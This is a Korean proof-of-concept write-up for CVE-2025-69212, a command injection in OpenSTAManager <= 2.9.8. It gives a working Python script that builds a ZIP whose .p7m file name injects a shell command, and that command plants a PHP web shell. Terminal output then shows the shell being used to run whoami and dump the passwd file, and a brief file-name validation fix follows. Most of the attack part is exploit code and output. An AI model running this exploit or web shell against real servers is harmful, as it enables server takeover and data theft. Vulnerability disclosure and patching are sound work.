
P7M 파일 처리와 관련된 CVE-2025-69212의 개념 증명(PoC)
| 데이터 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-69212 |
| 취약점 점수 | critical (9.4) |
| CWE | 78: OS 명령에 사용되는 특수 요소의 부적절한 중화 |
| 영향받는 버전 | OpenSTAManager <= 2.9.8 |
| 공격 벡터 | 악성 파일명을 가진 .p7m 파일이 포함된 ZIP 파일 업로드 |
| 인증 | 필요 |
| 영향 | 서버에서 임의의 시스템 명령 실행 |
import zipfile
import time
print("Creating zip file...")
time.sleep(1)
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_file, b"")
lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
명령 실행 후 XML 파싱 실패
HTTP/1.1 500 Internal Server Error
"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}
lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"
www-data
lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'
root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin
| 공격 | 세부 정보 |
|---|---|
| 원격 코드 실행 | 명령 실행을 통한 서버 전체 장악 |
| 데이터 유출 | 모든 애플리케이션 데이터 및 데이터베이스 접근 |
| 권한 상승 | 웹 서버가 높은 권한으로 실행되거나 취약한 경우 잠재적 권한 상승 |
| 지속성 | 백도어 설치 및 시간 경과에 따른 접근 유지 |
| 측면 이동 | 네트워크상의 다른 시스템/사용자로 피벗 |
**간단한 수정 방법은 처리 전에 파일명을 검증하는 것입니다(영숫자, 점, 대시, 밑줄만 허용하여 유효하지 않은 파일명 건너뛰기)
foreach ($files_xml as $xml) {
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue;
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
(아니면 그냥 업데이트하세요 lol)